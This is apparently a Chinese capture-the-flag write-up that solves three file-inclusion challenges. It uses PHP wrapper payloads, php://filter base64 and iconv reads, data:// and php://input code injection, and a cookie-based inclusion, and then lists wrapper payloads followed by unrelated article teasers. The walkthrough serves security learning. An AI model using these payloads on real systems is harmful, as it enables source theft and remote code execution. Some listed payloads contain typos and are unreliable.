文件包含include

news/2024/12/18 9:52:01/

文件包含

第一道题是攻防世界的fileclude

这里第二行我们可以看见告诉我们在flag.php里面 然后检查了两次file1和file2是否为空

如果file2="hello ctf"成立 那么就可以包含file1

这里我们要使用php伪协议 来访问我们需要的flag.php并且将file2的数值改为"hello ctf"

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

这里得到了base64编码过后的flag

解码一下flag = cyberpeace{62a75cf6384c6b312026623dd30a04c8}

第二题file_include

还是文件包含的题 告诉我们有./check.php文件

这道题的关键是绕过base64-encode 所以需要换一个关键字得到了下面的伪协议

filename=php://filter//convert.iconv.SJIS.UCS-4/resource=index.php

猜一下flag在flag.php文件中

filename=php://filter//convert.iconv.SJIS.UCS-4/resource=flag.php

这样就得到了flag='cyberpeace{9214ce27e42b93078a8829e38fee4a8a}

第三道题fileinclude

我们看一下网页源码

这里的php代码写了cookie是language 这里我们仍然需要用到php伪协议

里面告诉了路径/var/www/html/index.php

language=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php

这里涉及到了cookie变量 所以我们可以打开burpsuit进行一下抓包

我们在这里需要设置一下cookie变量

php://filter/read=convert.base64-encode/resource=/var/www/html/flag

(注意这里flag后面不需要加.php 因为网页源码里已经包含了.php)

然后在对应的响应里面我们可以看到回显了一串类似base64编码的字符串 我们对其进行解码

得出flag="cyberpeace{8bda62910569feaf90bbc92426912c14}"

php伪协议

在 PHP 中,伪协议(Pseudo Protocols) 也被称为 流包装器,这些伪协议以 php:// 开头,后面跟着一些参数,用于指定 要执行的操作 或 需要访问的资源。 伪协议表明这些协议并不是一个 真实的外部协议,例如 http 或 ftp。PHP 伪协议的出现是为了提供一个 统一的、简洁的 接口来处理 不同的数据流。这些伪协议可以被看作是一种 桥梁,它们允许开发者 使用常规的文件操作函数来处理各种不同的数据流

  1. file:// ?file=file://D:/soft/phpstudy/WWW/phpcode.txt

  2. php://filter ?file=php://filter/read=convert.base64-encode/resource=index.php

  3. php://input ?file=php://input [POST DATA]<?php phpinfo()?>

  4. zip:// ?file=zip://D://soft/phpsyudy/WWW/file.zip%23phpcode.txt

  5. compress.bzip2:// ?file=compress.bzip2://D://soft/phpstudy/WWW/file.bz2

    ?file=compress.bzip2://./file.bz2

  6. compress.zlib:// ?file=compress.zlib://D:/soft/phpstudy/WWW/file.gz

    ?file=compress.zlib://./file.gz

  7. date:// ?file=date://text/plain,<php ohpinfo()?>

    ?file=date://text/plain;basse64,PD9waHAgcGhwaW5mbgpPz4=

    ?file=date:text/plain,<php ohpinfo()?>

    ?file=date:text/plain;base64.PD9waHAgcGGhwaW5mbgpPz4=


http://www.ppmy.cn/news/1556093.html

相关文章

【含开题报告+文档+PPT+源码】基于微信小程序的旅游论坛系统的设计与实现

开题报告 近年来&#xff0c;随着互联网技术的迅猛发展&#xff0c;人们的生活方式、消费习惯以及信息交流方式都发生了深刻的变化。旅游业作为国民经济的重要组成部分&#xff0c;其信息化、网络化的发展趋势也日益明显。旅游论坛作为旅游信息交流和分享的重要平台&#xff0…

git企业开发的相关理论(一)

目录 一.初识git 二.git的安装 三.初始化/创建本地仓库 四.配置用户设置/配置本地仓库 五.认识工作区、暂存区、版本库 六.添加文件__场景一 七.查看 .git 文件/添加到本地仓库后.git中发生的变化 1.执行git add后的变化 index文件&#xff08;暂存区&#xff09; log…

云计算HCIP-OpenStack04

书接上回&#xff1a; 云计算HCIP-OpenStack03-CSDN博客 12.Nova计算管理 Nova作为OpenStack的核心服务&#xff0c;最重要的功能就是提供对于计算资源的管理。 计算资源的管理就包含了已封装的资源和未封装的资源。已封装的资源就包含了虚拟机、容器。未封装的资源就是物理机提…

node(2) - npm run 原理

1. npm run 执行原理 npm run 命令的原理是执行 package.json 文件中定义的脚本。当你在命令行中运行 npm run 时,npm 会查找 package.json 文件中的 scripts 字段,然后执行对应的脚本命令。 2. 示例 2.1 以 dev:weapp 为例 运行 npm run dev:weapp 命令;npm 会查找 packa…

SAP RESTful架构和OData协议

一、RESTful架构 RESTful 架构&#xff08;Representational State Transfer&#xff09;是一种软件架构风格&#xff0c;专门用于构建基于网络的分布式系统&#xff0c;尤其是在 Web 服务中。它通过利用 HTTP 协议和一组简单的操作&#xff08;如 GET、POST、PUT、DELETE&…

IP6822为智能手机提供无线充电方案的无线充电发射微控制SOC芯片

在无线充电技术日新月异的今天&#xff0c;一款能够引领潮流、满足多元化需求的芯片显得尤为重要。英集芯IP6822是一款专为智能手机、智能手表、无线耳机提供无线充电方案的无线充电发射微控制SOC芯片&#xff0c;集成了多种关键无线充电技术&#xff0c;包括H桥驱动模块、ASK通…

汽车故障码B100016解析及消除方法

汽车故障码B100016解析 1. 故障码含义 汽车故障码B100016通常与汽车电池系统或发动机相关的问题有关。具体而言,该故障码指示了电池电压过低、电池电流异常或发动机火花塞出现问题。 2. 可能原因 电池电压过低:电池老化或电池充电不足,导致电压低于正常范围。电池电流异常…

「数据结构详解·十五」树状数组

「数据结构详解一」树的初步「数据结构详解二」二叉树的初步「数据结构详解三」栈「数据结构详解四」队列「数据结构详解五」链表「数据结构详解六」哈希表「数据结构详解七」并查集的初步「数据结构详解八」带权并查集 & 扩展域并查集「数据结构详解九」图的初步「数据结构…